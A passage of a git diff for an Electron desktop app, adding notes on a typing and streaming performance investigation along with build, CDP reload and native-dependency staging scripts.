+| max paint | 20.5 ms | 30.4 ms |
+| >16ms drops | 2/120 | 1/120 |
+
+Roughly even on a quick session — patches don't fix typing latency
+under benign synthetic conditions because the existing baseline is
+already snappy on synthetic input. The real wins are in the leak counters
+(see below). If the user reports typing jank, capture a profile + heap
+diff during their actual usage and compare against the synthetic baseline
+to identify what condition (long thread, popover open, paste, etc.)
+makes the path slow.
+
+### Leak counters — `leak-typing.mjs`
+
+Types N chars per round, clears, force-GCs, captures
+`Performance.getMetrics` deltas. Reveals leaked event listeners, heap
+drift, document node growth, and forced-layout counts.
+
+```bash
+# After clicking into a real session (e.g. via click-session.mjs):
+node apps/desktop/scripts/leak-typing.mjs --rounds=8 --chars=200 --cps=50
+```
+
+**Real-session numbers (Phaser thread, 8 rounds × 200 chars):**
+
+| | unpatched (HEAD~2) | patched (HEAD) |
+|---|---|---|
+| jsListeners growth/round | +0 | +0 |
+| DOM nodes growth/round | +0 | +0 |
+| heap growth/round | ~0 (V8 housekeeping) | ~0 |
+| **forced layouts/char** | **7.02** | **2.35** (3× fewer) |
+
+The forced-layout count is the load-bearing number — typing into a real
+session was triggering ~7 layouts per character on the unpatched build
+(scrollHeight reads + per-px CSS var writes + FadeText scrollWidth reads
+all stacking up). After the patches it's down to ~2.35/char, which is
+Blink's natural cost for a 1px/char-growing contentEditable and can't
+be lowered further without architectural changes.
+
+The initial "+35 listeners/round leak" I called out on the first
+unpatched run turned out to be transient warm-up (popovers initializing,
+etc.); steady-state listener growth was 0 both before and after.
+
+### CPU profile + heap snapshot — `profile-typing.mjs`
+
+Records a CPU profile while typing, plus before/after heap snapshots so
+you can do a comparison diff in Chrome DevTools Memory tab.
+
+```bash
+node apps/desktop/scripts/profile-typing.mjs \
+  --chars=400 --cps=30 --out=/tmp/clawcodex-typing
+# → /tmp/clawcodex-typing.cpuprofile  (open in Chrome DevTools Performance)
+# → /tmp/clawcodex-typing.before.heapsnapshot
+# → /tmp/clawcodex-typing.after.heapsnapshot
+```
+
+Loading the cpuprofile: Chrome DevTools → Performance tab → drag the file
+in, or VS Code → open the `.cpuprofile` directly.
+
+For heap diff: Chrome DevTools → Memory → Load snapshot → load "before",
+then Comparison view → load "after". Sort by `# Delta`. Stay alert for
+detached DOM, FiberNodes (unmounted), and listener growth.
+
+## Helpers
+
+- `probe-renderer.mjs` — dump page state (URL, composer mounted?, body text)
+- `click-session.mjs <title>` — click a sidebar session by partial title match
+- `reload-renderer.mjs` — force Page.reload via CDP (no HMR available)
+- `dump-state.mjs` — richer state dump (thread message count, sticky session, etc.)
+- `probe-console.mjs` — dump recent console errors / exceptions
+
+## Findings
+
+See commit message for `apps/desktop/src/app/chat/composer/index.tsx`
+edits. Three changes:
+
+1. **Per-keystroke `scrollHeight` read removed.** The expansion useEffect
+   used to read `editorRef.current.scrollHeight` on every draft change
+   (forces synchronous layout). Replaced with a `draft.length > 60`
+   heuristic; the ResizeObserver catches anything the heuristic misses.
+
+2. **Bucketed CSS custom-property writes.** `syncComposerMetrics`
+   used to `setProperty('--composer-measured-height', height + 'px')`
+   on every observed resize, invalidating computed style for the whole
+   tree. Now writes only when the height crosses an 8 px bucket, so
+   typing in a fixed-height row produces no style invalidation at all.
+
+3. **Removed dead `$composerDraft` → `aui.composer().setText` round-trip.**
+   Nothing outside the composer subscribed to `$composerDraft` (verified
+   via grep). The two useEffects that pushed draft → store and store →
+   composer were pure overhead per keystroke. `reconcileComposerTerminalSelections`
+   was also called per keystroke; can be deferred to submit time (it's a
+   stale-pruning step, not a correctness one — `terminalContextBlocksFromDraft`
+   walks the current text directly at submit and ignores stale labels).
+
+4. **`refreshTrigger` fast-bails when no `@`/`/` in draft.** Previously
+   `textBeforeCaret()` did `range.toString()` (O(n)) on every keystroke
+   even when no trigger char was present.
+
+The biggest win is the listener leak in (3) — without it, each round of
+typing leaked ~35 event listeners until a steady state.
+
+## Submit / TTFT stall (open)
+
+User reports a perceived stall *after* Enter, before the assistant starts
+streaming. `scripts/measure-submit.mjs` measures
+`enter → composer-cleared → user-message-rendered → first-paint`. The
+script triggers a real prompt submission, so use it on a throwaway
+session. Not enabled in CI.
+
+## Streaming "5fps" investigation (May 21, 2026)
+
+User complaint: "the streaming must bring fps to like 5? lol" — felt
+hitches during assistant streaming on long threads.
+
+### Tooling added
+
+- **`src/app/chat/perf-probe.tsx`** — dev-only side-effect import (guarded by
+  `import.meta.env.MODE !== 'production'` in `main.tsx`). Attaches two
+  helpers to `window`:
+  - `__PERF_PROBE__` — React `<Profiler>` recorder. Currently inert because
+    Vite is serving the production React build (see "Vite dev-build issue"
+    below); kept for when that's fixed.
+  - `__PERF_DRIVE__` — synthetic stream driver. Pushes tokens through the
+    live `$messages` atom at a fixed cadence, so the assistant-ui runtime,
+    incremental repository, Streamdown markdown renderer, and React commit
+    pipeline all see the same workload they'd see from a real LLM stream —
+    but with no LLM call (and no credit cost).
+- **`scripts/measure-synthetic-stream.mjs`** — drives `__PERF_DRIVE__`,
+  records rAF frame intervals, `PerformanceObserver({entryTypes:['longtask']})`
+  entries, `MutationObserver` cadence on the live message, and optional
+  type-while-streaming keystroke latency.
+- **`scripts/profile-synth-stream.mjs`** — CPU profile during a synthetic
+  stream; writes a `.cpuprofile` (open in Chrome DevTools Performance panel)
+  and a top-30 self-time table.
+- **`scripts/measure-real-stream.mjs`** — same harness as the synthetic but
+  fires a real LLM prompt. Use when you have credits and want to confirm
+  the synthetic predictions hold.
+- **`scripts/profile-real-stream.mjs`** — CPU profile over the duration of
+  a real LLM stream.
+
+Helpers: `scripts/eval.mjs` (one-shot CDP eval), `scripts/reload.mjs`
+(hard reload renderer over CDP).
+
+### Findings
+
+Measured on the Cloud Shadows session (7 turns, ~11k px scrollHeight) and
+the 34 MB session `session_20260514_215353_fe0ac8.json` (110 FadeText
+instances, lots of historical tool calls).
+
+| metric | Cloud Shadows | 34 MB session |
+|---|---|---|
+| avgFps (60 tok/sec, 5s) | 60.0 | 58.6 |
+| frame p50 / p95 / p99 (ms) | 16.7 / 18.0 / 21.1 | 16.6 / 25.6 / 31.4 |
+| max frame (ms) | 31.1 | 97-127 (varies) |
+| longtasks per 5s window | 0 | 1-2, 75-127 ms |
+| type-while-stream p95 latency (ms) | 17 | — |
+
+A single real-LLM stream on Cloud Shadows (gpt-4o-mini, 39s window) saw
+12 longtasks totalling 1.26 s — same cadence the synthetic predicted
+(~1 hitch per 3.25 s, max 123 ms). So the **synthetic stream is a faithful
+proxy for the real one** and is fine for iterating on fixes without paying
+for tokens.
+
+### CPU profile during streaming (synthetic, markdown content)
+
+Top self-time costs (5 s window, 400 tokens at 125 tok/s, markdown chunks):
+
+| ms (self) | function | source |
+|---|---|---|
+| 260 | `bn$1` | `chunk-BO2N…js:20003` (micromark tokenize) |
+| 249 | `m$1` | `chunk-BO2N…js:19949` (micromark) |
+| 128 | `compile` | `chunk-BO2N…js:21884` (mdast → hast compile) |
+| 73 | FadeText body | `components/ui/fade-text.tsx` |
+| 62 | `parser` | `chunk-BO2N…js:22680` |
+| 49 | `fromThreadMessageLike` | `@assistant-ui/internal` |
+
+That `chunk-BO2N2NFS` is the vendored bundle containing `micromark`,
+`mdast-util-from-markdown`, `mdast-util-to-hast`, `rehype-raw`,
+`hast-util-sanitize`, etc. — i.e. **Streamdown's markdown pipeline,
+re-parsing the entire growing assistant message on every token append**.
+Cost scales linearly with message length.
+
+Compare plain-text (no markdown) — the `chunk-BO2N…` entries drop out
+of the top 30 entirely; total work per 5 s window halves.
+
+### Fix landed: `FadeText` memo
+
+`FadeText` is used in `tool-fallback.tsx` (110 instances on a tool-heavy
+thread). Before: each parent re-render during streaming triggered a
+`useEffect([children])` that forced a `scrollWidth` layout read — even
+when the title text was unchanged. The `useResizeObserver` already covers
+the genuine resize case, so the effect was strictly redundant.
+
+After: wrapped in `React.memo` with a custom comparator that compares
+`children` (scalar fast-path), `className`, `fadeWidth`, and `style`
+field-by-field. Verified via temporary render counter:
+**122 renders during a 2 s synthetic stream vs ~11 000 without memo**
+(110 instances × ~100 stream updates). Doesn't move the longtask needle
+on its own — Streamdown dwarfs it — but eliminates a class of forced
+layouts and removes a steady CPU floor.
+
+### Also landed: `MarkdownText` plugins memo + upstream flush floor
+
+Two smaller follow-ups in the same investigation:
+
+1. **`MarkdownText` `plugins` object useMemo'd.** The inline
+   `plugins={{ math: mathPlugin, ...(isStreaming ? {} : { code }) }}`
+   was constructing a new object on every render, which churns
+   `<Streamdown>`'s outer memo and forces its internal `rehypePlugins` /
+   `remarkPlugins` arrays to rebuild. CPU profile after the change shows
+   `parser` self-time dropping out of the top 10, `compile` cut roughly
+   in half, and `bn$1` / `m$1` (micromark internals) dropping off the
+   top entries.
+
+2. **`use-message-stream.scheduleDeltaFlush` got a real minimum floor.**
+   Previously the rAF-only path effectively meant "at most one flush per
+   frame," but at typical LLM token rates of 30-80 tok/sec each token
+   arrives slower than rAF cadence and gets its own React commit. With
+   `STREAM_DELTA_FLUSH_MS = 33` (two frames) and a `lastFlushAt`-tracked
+   floor, slower streams now coalesce ~2 tokens per commit, halving
+   markdown re-parses. React's auto-batching already covers part of this
+   probabilistically; the floor makes the batching deterministic so the
+   max-longtask number tightens up.
+
+A/B on the 34 MB session, 300 tokens at 50 tok/sec, markdown chunks
+(3 trials each):
+
+| | avgFps | p99 frame | LTs/5s | max LT | mutations |
+|---|---|---|---|---|---|
+| no throttle  | 54.0 | 38 ms | 2.0 | 145 ms | varies (2-112) |
+| 33 ms throttle | 54.3 | 41 ms | 1.7 | 110 ms | ~135 |
+
+Modest. `inter-mutation` p50 tightens from 22-28 ms to a clean 33 ms,
+which is what you'd expect from a deterministic floor.
+
+### Also landed: `useDeferredValue` at the streamdown-text boundary
+
+The longtask CPU was unavoidable inside the block-memo pattern — the live
+tail re-parses every commit, scales linearly with current length, and
+nothing about Streamdown's architecture changes that without forking. The
+fix is to stop having that work *block* the main thread.
+
+`<DeferStreamingText>` in `markdown-text.tsx` is a 12-line wrapper that
+reads the message-part state via `useMessagePartText`, runs it through
+`useDeferredValue`, and re-publishes via assistant-ui's
+`<TextMessagePartProvider>`. The inner `StreamdownTextPrimitive` reads the
+deferred value through the normal `useMessagePartText` hook — no fork,
+no internal-path imports, fully on the assistant-ui public API.
+
+What React's concurrent scheduler now does:
+
+- When a new token arrives mid-render, the in-flight deferred render
+  is abandoned and a fresh one starts with the latest text.
+- When the main thread has urgent work (typing, scroll, layout), the
+  Streamdown render gets deprioritized — input stays responsive even
+  while a 100 ms parse is queued.
+
+Streamdown already uses `useTransition` internally for its block-array
+setState; `useDeferredValue` here just lifts the deferral all the way up
+to the consumer text boundary, so the whole pipeline — preprocess,
+block split, repair, parse, render — runs at low priority during streaming.
+This is the industry-standard approach (see
+[Streamdown architecture analysis](https://tigerabrodi.blog/how-to-build-a-performant-ai-markdown-renderer)
+and Chrome's [LLM-response render best practices](https://developer.chrome.google.cn/docs/ai/render-llm-responses)).
+
+A/B on the 34 MB session, 300 tokens at 50 tok/sec, markdown chunks
+(four trials each, prod-throttle (33 ms) on for both):
+
+| | avgFps | p99 frame | LTs / 5 s | max LT | typing p95 |
+|---|---|---|---|---|---|
+| pre-defer | 54.3 | 41 ms | 1.7 | 110 ms | ~17 ms |
+| **post-defer** | **58.5** | **31 ms** | 2.0 | 117 ms | 14-18 ms |
+
+Longtask count and max LT are unchanged — `useDeferredValue` doesn't
+reduce CPU, only its priority. The avgFps lift and p99 frame drop are
+the proof that the existing CPU is no longer blocking 60 fps cadence:
+when React can defer the parse, frames stay clean. One particularly
+clean run logged **MUTATIONS=0** — React skipped every intermediate
+text state and only committed the final one, the textbook
+useDeferredValue behaviour.
+
+### Not fixed: Streamdown markdown re-parse cost (the elephant)
+
+Total CPU spent in micromark/mdast/hast pipeline per 5 s window is still
+the same ~700 ms. With `useDeferredValue` that work no longer blocks
+input, but if you watch a CPU profile you'll see the same hot functions
+(`Tn$1`, `bn$1`, `m$1`, `parser`, `compile`).
+
+The path to actually *reduce* that cost (not just defer it) is to
+replace the parser with a state machine like
+[Flowdown](https://github.com/Atomics-hub/flowdown) — process each
+character exactly once, emit DOM ops directly, no re-parse of the prefix
+on every token. Claimed ~2,000× over `marked`. Trades: not a
+`react-markdown`-compatible API, no rehype security pipeline, would
+require replacing Streamdown wholesale. Worth investigating only if
+even the deferred work shows up in user-perceptible ways (e.g.
+trackpad-scrolling a stream-in-progress stutters).
+
+The synthetic harness now mirrors the real upstream pipeline via the
+`flushMinMs` option in `__PERF_DRIVE__.stream({ flushMinMs: 33 })`, so
+future Streamdown / Flowdown experiments can A/B without LLM credit cost.
+The synthetic numbers tracked the one real-LLM run we caught within
+noise, so it's a reliable proxy.
+
+Possible approaches (none implemented here):
+
+1. **Coalesce/throttle Streamdown updates** — render at most every 32 ms
+   instead of every set-state. Reduces parses but doesn't reduce
+   per-parse cost; trades latency for smoothness.
+2. **Memoize per-prefix** — diff the new text against the prior parsed
+   version; only re-parse the changed suffix.
+3. **Render in stable segments** — close-form historical paragraphs as
+   immutable React nodes; only the live tail goes through markdown each
+   token. Probably the highest-impact change but requires forking or
+   patching `@assistant-ui/react-streamdown`.
+4. **Move parsing to a Web Worker** — main thread no longer blocks on
+   markdown. Largest surgery; requires double-buffered hast.
+
+### Vite dev-build issue (separate)
+
+`http://127.0.0.1:5174/node_modules/.vite/deps/react.js` resolves to
+`react/cjs/react.production.js`, and `react-dom_client.js` →
+`react-dom-client.production.js`. As a result:
+
+- `<React.Profiler>` `onRender` is never called (production build is a
+  no-op).
+- `import.meta.env.DEV` is `false`, `PROD` is `true` even under `vite dev`
+  (hence `MODE !== 'production'` as the workaround in `main.tsx`).
+- All the React 19 dev-only warnings/devtools backend hooks are absent.
+
+Root cause likely sits in `vite.config.ts` aliasing + dedupe + Vite 8's
+new `optimizeDeps` defaults. Worth a separate fix pass — when it's
+resolved, the `<PerfProbe>` blocks in `perf-probe.tsx` become useful
+(per-id commit timings) instead of inert.
diff --git a/ui-desktop/scripts/rebuild-native.mjs b/ui-desktop/scripts/rebuild-native.mjs
new file mode 100644
index 000000000..ddec5ea31
--- /dev/null
+++ b/ui-desktop/scripts/rebuild-native.mjs
@@ -0,0 +1,22 @@
+// rebuild-native.mjs
+import { rebuild } from '@electron/rebuild'
+import { resolve, dirname } from 'node:path'
+import { fileURLToPath } from 'node:url'
+import { isMain } from './utils.mjs'
+import packageJson from '../package.json' with { type: 'json' }
+const projectRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..')
+
+export async function rebuildNodePty({ arch = process.arch } = {}) {
+  await rebuild({
+    buildPath: projectRoot, // where node_modules lives
+    electronVersion: packageJson.devDependencies.electron.replace('^', ''),
+    arch,
+    onlyModules: ['node-pty'],
+    force: true
+  })
+}
+
+if (isMain(import.meta.url)) {
+  const [arch] = process.argv.slice(2)
+  await rebuildNodePty({ arch })
+}
diff --git a/ui-desktop/scripts/reload-renderer.mjs b/ui-desktop/scripts/reload-renderer.mjs
new file mode 100644
index 000000000..f1f57462d
--- /dev/null
+++ b/ui-desktop/scripts/reload-renderer.mjs
@@ -0,0 +1,25 @@
+// Reload the renderer via CDP so it picks up the latest from Vite.
+const list = await (await fetch('http://127.0.0.1:9222/json/list')).json()
+const tgt = list.find(t => t.type === 'page' && t.url.startsWith('http'))
+const ws = new WebSocket(tgt.webSocketDebuggerUrl)
+let id = 0
+const pending = new Map()
+ws.addEventListener('message', ev => {
+  const m = JSON.parse(ev.data)
+  if (m.id != null && pending.has(m.id)) {
+    pending.get(m.id)(m)
+    pending.delete(m.id)
+  }
+})
+await new Promise(r => ws.addEventListener('open', r))
+const send = (method, params = {}) =>
+  new Promise(r => {
+    const i = ++id
+    pending.set(i, r)
+    ws.send(JSON.stringify({ id: i, method, params }))
+  })
+await send('Page.enable')
+await send('Page.reload', { ignoreCache: true })
+console.log('reload requested')
+await new Promise(r => setTimeout(r, 200))
+ws.close()
diff --git a/ui-desktop/scripts/reload.mjs b/ui-desktop/scripts/reload.mjs
new file mode 100644
index 000000000..b5f768473
--- /dev/null
+++ b/ui-desktop/scripts/reload.mjs
@@ -0,0 +1,36 @@
+// Hard reload the Electron renderer over CDP. Vite-no-HMR mode means edits
+// don't auto-apply — call this after editing source.
+const targets = await (await fetch('http://127.0.0.1:9222/json')).json()
+const t = targets.find((t) => t.url.includes('5174'))
+if (!t) {
+  console.error('renderer not found')
+  process.exit(1)
+}
+const ws = new WebSocket(t.webSocketDebuggerUrl)
+let id = 0
+const pending = new Map()
+ws.addEventListener('message', (ev) => {
+  const m = JSON.parse(ev.data)
+  if (pending.has(m.id)) {
+    pending.get(m.id)(m)
+    pending.delete(m.id)
+  }
+})
+await new Promise((r) => ws.addEventListener('open', r))
+const send = (method, params = {}) =>
+  new Promise((res) => {
+    const i = ++id
+    pending.set(i, res)
+    ws.send(JSON.stringify({ id: i, method, params }))
+  })
+
+await send('Page.reload', { ignoreCache: true })
+console.log('reload sent')
+// Wait for new doc.
+await new Promise((r) => setTimeout(r, 2500))
+const r = await send('Runtime.evaluate', {
+  expression: 'JSON.stringify({ hasProbe: !!window.__PERF_PROBE__, composer: !!document.querySelector("[contenteditable=true]"), url: location.hash })',
+  returnByValue: true,
+})
+console.log(r.result.result.value)
+ws.close()
diff --git a/ui-desktop/scripts/run-electron-builder.mjs b/ui-desktop/scripts/run-electron-builder.mjs
new file mode 100644
index 000000000..38e465612
--- /dev/null
+++ b/ui-desktop/scripts/run-electron-builder.mjs
@@ -0,0 +1,58 @@
+// Resolve electronDist at runtime (#38673, #47917): electron-builder 26.8.x can
+// re-unpack a broken Electron.app; reusing the installed dist dodges that.
+// npm workspace hoisting is non-deterministic — require.resolve finds electron
+// wherever it landed. Dist present → -c.electronDist=<abs>/dist; absent → let
+// electron-builder fetch via @electron/get (electronVersion + ELECTRON_MIRROR).
+
+import fs from "node:fs"
+import path from "node:path"
+import { spawnSync } from "node:child_process"
+import { createRequire } from "node:module"
+
+const require = createRequire(import.meta.url)
+
+function electronDistDir() {
+  try {
+    return path.join(path.dirname(require.resolve("electron/package.json")), "dist")
+  } catch {
+    return null
+  }
+}
+
+function distBinary(dist) {
+  if (process.platform === "darwin") {
+    return path.join(dist, "Electron.app", "Contents", "MacOS", "Electron")
+  }
+  if (process.platform === "win32") {
+    return path.join(dist, "electron.exe")
+  }
+  return path.join(dist, "electron")
+}
+
+function electronBuilderCli() {
+  const pkgJson = require.resolve("electron-builder/package.json")
+  const bin = require(pkgJson).bin
+  const rel = typeof bin === "string" ? bin : bin["electron-builder"]
+  return path.join(path.dirname(pkgJson), rel)
+}
+
+const dist = electronDistDir()
+const args = []
+if (dist && fs.existsSync(distBinary(dist))) {
+  args.push(`-c.electronDist=${dist}`)
+} else {
+  console.warn(
+    "[run-electron-builder] no local electron dist; electron-builder will fetch " +
+      "via @electron/get (electronVersion + ELECTRON_MIRROR)."
+  )
+}
+args.push(...process.argv.slice(2))
+
+const result = spawnSync(process.execPath, [electronBuilderCli(), ...args], {
+  stdio: "inherit",
+})
+if (result.error) {
+  console.error(`[run-electron-builder] spawn failed: ${result.error.message}`)
+  process.exit(1)
+}
+process.exit(result.status == null ? 1 : result.status)
diff --git a/ui-desktop/scripts/set-exe-identity.mjs b/ui-desktop/scripts/set-exe-identity.mjs
new file mode 100644
index 000000000..55b513fcd
--- /dev/null
+++ b/ui-desktop/scripts/set-exe-identity.mjs
@@ -0,0 +1,88 @@
+#!/usr/bin/env node
+// set-exe-identity.mjs — stamp the ClawCodex icon + version metadata onto the
+// built ClawCodex.exe using rcedit, completely decoupled from electron-builder's
+// signing path.
+//
+// WHY THIS EXISTS
+// ---------------
+// apps/desktop/package.json sets build.win.signAndEditExecutable=false. That
+// flag is load-bearing: turning electron-builder's own exe-editing ON also
+// re-enables its signtool step, which fetches winCodeSign-2.6.0.7z, whose
+// macOS symlinks crash 7-Zip on non-admin Windows (no Developer Mode = no
+// SeCreateSymbolicLinkPrivilege). That is an unfixable dead end — we do NOT
+// try to extract winCodeSign.
+//
+// The cost of disabling signAndEditExecutable is that electron-builder also
+// skips rcedit, so the unpacked ClawCodex.exe keeps the stock Electron icon and
+// "Electron" taskbar name. This script restores the icon + identity by calling
+// rcedit DIRECTLY. rcedit is a pure PE resource editor: no signing, no certs,
+// no winCodeSign, no symlinks.
+//
+// HOW IT RUNS
+// -----------
+// Primarily as an electron-builder `afterPack` hook (scripts/after-pack.mjs),
+// so EVERY packed build — first install, `clawcodex desktop`, the installer's
+// --update rebuild, or a dev's manual `npm run pack` — gets a branded exe from
+// one place. Previously this stamp lived only in install.ps1, so the update
+// path (which rebuilds via `clawcodex desktop --build-only`, never install.ps1)
+// shipped a stock "Electron" exe. Keeping it in afterPack closes that gap.
+//
+// Also runnable standalone for ad-hoc re-stamping:
+//   node scripts/set-exe-identity.mjs <path-to-ClawCodex.exe>
+//
+// Exits 0 on success, non-zero on failure when run as a CLI. As a hook,
+// stampExeIdentity() resolves on success and rejects on failure; the caller
+// (after-pack.mjs) swallows the rejection so a stamp failure never fails an
+// otherwise-good build (worst case: stock icon, not a broken app).
+
+import { resolve, join } from 'node:path'
+import { existsSync } from 'node:fs'
+
+import { rcedit } from 'rcedit'
+
+import { isMain } from './utils.mjs'
+
+// Stamp the ClawCodex icon + identity onto `exe`. Resolves on success, throws on
+// failure. `desktopRoot` defaults to this script's package root so the icon and
+// the rcedit dependency resolve regardless of cwd.
+async function stampExeIdentity(exe, desktopRoot = resolve(import.meta.dirname, '..')) {
+  if (!exe || !existsSync(exe)) {
+    throw new Error(`target exe not found: ${exe}`)
+  }
+
+  // Icon lives at apps/desktop/assets/icon.ico
+  const icon = join(desktopRoot, 'assets', 'icon.ico')
+  if (!existsSync(icon)) {
+    throw new Error(`icon not found: ${icon}`)
+  }
+
+  console.log(`[set-exe-identity] stamping ${exe}`)
+  console.log(`[set-exe-identity] icon: ${icon}`)
+
+  await rcedit(exe, {
+    icon,
+    'version-string': {
+      ProductName: 'ClawCodex',
+      FileDescription: 'ClawCodex',
+      CompanyName: 'ClawCodex contributors',
+      LegalCopyright: 'Copyright (c) 2026 ClawCodex contributors'
+    }
+  })
+
+  console.log('[set-exe-identity] done — ClawCodex icon + identity stamped')
+}
+
+export { stampExeIdentity }
+
+// CLI entry point: `node scripts/set-exe-identity.mjs <exe>`.
+if (isMain(import.meta.url)) {
+  const exe = process.argv[2]
+  if (!exe) {
+    console.error('[set-exe-identity] usage: set-exe-identity.mjs <path-to-exe>')
+    process.exit(2)
+  }
+  stampExeIdentity(exe).catch(err => {
+    console.error(`[set-exe-identity] ${err.message}`)
+    process.exit(1)
+  })
+}
diff --git a/ui-desktop/scripts/stage-native-deps.mjs b/ui-desktop/scripts/stage-native-deps.mjs
new file mode 100644
index 000000000..8dbe20c75
--- /dev/null
+++ b/ui-desktop/scripts/stage-native-deps.mjs
@@ -0,0 +1,356 @@
+#!/usr/bin/env node
+// stage-native-deps.mjs — stages node-pty's native runtime dependencies
+//
+// Usage:
+//   node scripts/stage-native-deps.mjs                # host platform/arch
+//   node scripts/stage-native-deps.mjs win32 arm64     # explicit target
+//
+// Also exported as `stageNodePty({ platform, arch })` for use from
+// before-pack.mjs, where electron-builder gives you the real per-target
+// platform/arch during multi-arch builds.
+
+import { createRequire } from 'node:module'
+import { fileURLToPath } from 'node:url'
+import { dirname, resolve, join } from 'node:path'
+import {
+  chmodSync,
+  cpSync,
+  existsSync,
+  mkdirSync,
+  readdirSync,
+  readFileSync,
+  rmSync,
+  writeFileSync
+} from 'node:fs'
+import { spawnSync } from 'node:child_process'
+import { isMain } from './utils.mjs'
+
+const here = dirname(fileURLToPath(import.meta.url))
+const projectRoot = resolve(here, '..')
+const require = createRequire(import.meta.url)
+
+function makeExecutable(filePath) {
+  chmodSync(filePath, 0o755)
+}
+
+function patchUnixTerminalAsarPaths(destRoot) {
+  const filePath = join(destRoot, 'lib', 'unixTerminal.js')
+  if (!existsSync(filePath)) return
+
+  const source = readFileSync(filePath, 'utf8')
+  const patched = source
+    .replace(
+      "helperPath = helperPath.replace('app.asar', 'app.asar.unpacked');",
+      "helperPath = helperPath.replace(/app\\.asar(?!\\.unpacked)/, 'app.asar.unpacked');"
+    )
+    .replace(
+      "helperPath = helperPath.replace('node_modules.asar', 'node_modules.asar.unpacked');",
+      "helperPath = helperPath.replace(/node_modules\\.asar(?!\\.unpacked)/, 'node_modules.asar.unpacked');"
+    )
+
+  if (patched !== source) {
+    writeFileSync(filePath, patched)
+  }
+}
+
+/**
+ * Locate node-pty's package root via real module resolution, so this
+ * works whether it's hoisted to a workspace root or local to this app.
+ */
+function resolveNodePtyRoot() {
+  const pkgJsonPath = require.resolve('node-pty/package.json', {
+    paths: [projectRoot]
+  })
+  return dirname(pkgJsonPath)
+}
+
+function copyGlobByExt(srcDir, destDir, extensions) {
+  if (!existsSync(srcDir)) return
+  mkdirSync(destDir, { recursive: true })
+  for (const entry of readdirSync(srcDir, { withFileTypes: true })) {
+    if (entry.isDirectory()) {
+      copyGlobByExt(join(srcDir, entry.name), join(destDir, entry.name), extensions)
+      continue
+    }
+    if (extensions.some((ext) => entry.name.endsWith(ext))) {
+      mkdirSync(destDir, { recursive: true })
+      cpSync(join(srcDir, entry.name), join(destDir, entry.name))
+    }
+  }
+}
+
+/**
+ * Copies the locally-compiled build/Release output (used when no prebuild
+ * was available and node-pty was built from source for the host machine).
+ *
+ * Filters by name/pattern rather than extension only: macOS builds a
+ * separate `spawn-helper` executable (no file extension) that
+ * lib/unixTerminal.js requires at a fixed relative path. Filtering this
+ * directory by ['.node'] silently drops it — the package then looks
+ * fine, ships fine, and crashes the first time a terminal is spawned.
+ * Directories are copied wholesale to also cover any nested native
+ * payload (e.g. a conpty/ subfolder some build layouts produce).
+ */
+function copyBuildRelease(srcDir, destDir) {
+  if (!existsSync(srcDir)) return
+  mkdirSync(destDir, { recursive: true })
+  for (const entry of readdirSync(srcDir, { withFileTypes: true })) {
+    if (entry.isDirectory()) {
+      cpSync(join(srcDir, entry.name), join(destDir, entry.name), { recursive: true })
+      continue
+    }
+    if (entry.name === 'spawn-helper' || /\.(node|dll|exe)$/.test(entry.name)) {
+      const destFile = join(destDir, entry.name)
+      cpSync(join(srcDir, entry.name), destFile)
+      if (entry.name === 'spawn-helper') {
+        makeExecutable(destFile)
+      }
+    }
+  }
+}
+
+// ─── binary classification ───────────────────────────────────────────
+//
+// .node files are shared libraries in the target platform's native binary
+// format. By reading the first few bytes (magic) we can determine which
+// platform a given .node was compiled for, without shelling out to `file`.
+//
+//   ELF  (\x7fELF)                         → linux
+//   Mach-O 32-bit BE  (feedface)            → darwin
+//   Mach-O 64-bit BE  (feedfacf)            → darwin
+//   Mach-O 32-bit LE  (cefaedfe — CIGAM)    → darwin
+//   Mach-O 64-bit LE  (cffaedfe — CIGAM_64) → darwin
+//   Fat/Universal BE (cafebabe)             → darwin
+//   Fat/Universal LE (bebafeca — FAT_CIGAM) → darwin
+//   PE (MZ DOS header)                      → win32
+//
+// Mach-O and Fat binaries are stored on disk in the host's native byte
+// order. On x64/arm64 Darwin (every Apple Silicon + every Intel Mac that
+// ships node-pty prebuilds) that is little-endian, so the on-disk magic is
+// the CIGAM byte-swapped form, NOT the big-endian MH_MAGIC form. Checking
+// only the BE constants misclassifies every real Darwin prebuild as unknown.
+//
+// Exported for unit testing.
+
+/**
+ * Classify a native binary's target platform from its magic bytes.
+ * Returns `'linux'`, `'darwin'`, `'win32'`, or `null` if unrecognized
+ * or the file cannot be read.
+ */
+export function classifyNativeBinary(filePath) {
+  let buf
+  try {
+    buf = readFileSync(filePath, { start: 0, end: 63 }) // first 64 bytes
+  } catch {
+    return null
+  }
+  if (buf.length < 4) return null
+
+  // ELF: \x7f E L F
+  if (buf[0] === 0x7f && buf[1] === 0x45 && buf[2] === 0x4c && buf[3] === 0x46) {
+    return 'linux'
+  }
+  // Mach-O 32-bit (big-endian / MH_MAGIC): feedface
+  if (buf[0] === 0xfe && buf[1] === 0xed && buf[2] === 0xfa && buf[3] === 0xce) {
+    return 'darwin'
+  }
+  // Mach-O 64-bit (big-endian / MH_MAGIC_64): feedfacf
+  if (buf[0] === 0xfe && buf[1] === 0xed && buf[2] === 0xfa && buf[3] === 0xcf) {
+    return 'darwin'
+  }
+  // Mach-O 32-bit (little-endian / MH_CIGAM): cefaedfe
+  if (buf[0] === 0xce && buf[1] === 0xfa && buf[2] === 0xed && buf[3] === 0xfe) {
+    return 'darwin'
+  }
+  // Mach-O 64-bit (little-endian / MH_CIGAM_64): cffaedfe
+  if (buf[0] === 0xcf && buf[1] === 0xfa && buf[2] === 0xed && buf[3] === 0xfe) {
+    return 'darwin'
+  }
+  // Fat/Universal binary (big-endian / FAT_MAGIC): cafebabe
+  if (buf[0] === 0xca && buf[1] === 0xfe && buf[2] === 0xba && buf[3] === 0xbe) {
+    return 'darwin'
+  }
+  // Fat/Universal binary (little-endian / FAT_CIGAM): bebafeca
+  if (buf[0] === 0xbe && buf[1] === 0xba && buf[2] === 0xfe && buf[3] === 0xca) {
+    return 'darwin'
+  }
+  // PE: MZ DOS header
+  if (buf[0] === 0x4d && buf[1] === 0x5a) {
+    return 'win32'
+  }
+  return null
+}
+
+/**
+ * Scan the staged destination tree for .node files and verify each one's
+ * binary platform matches the requested target. Throws on any mismatch.
+ *
+ * This is the fail-closed safety net: even if a prebuild or build/Release
+ * somehow slipped through with the wrong platform, this catches it before
+ * the package ships a broken native binary to users.
+ */
+function validateStagedBinaries(destRoot, targetPlatform) {
+  const mismatches = []
+  function scan(dir, relPrefix) {
+    if (!existsSync(dir)) return
+    for (const entry of readdirSync(dir, { withFileTypes: true })) {
+      if (entry.isDirectory()) {
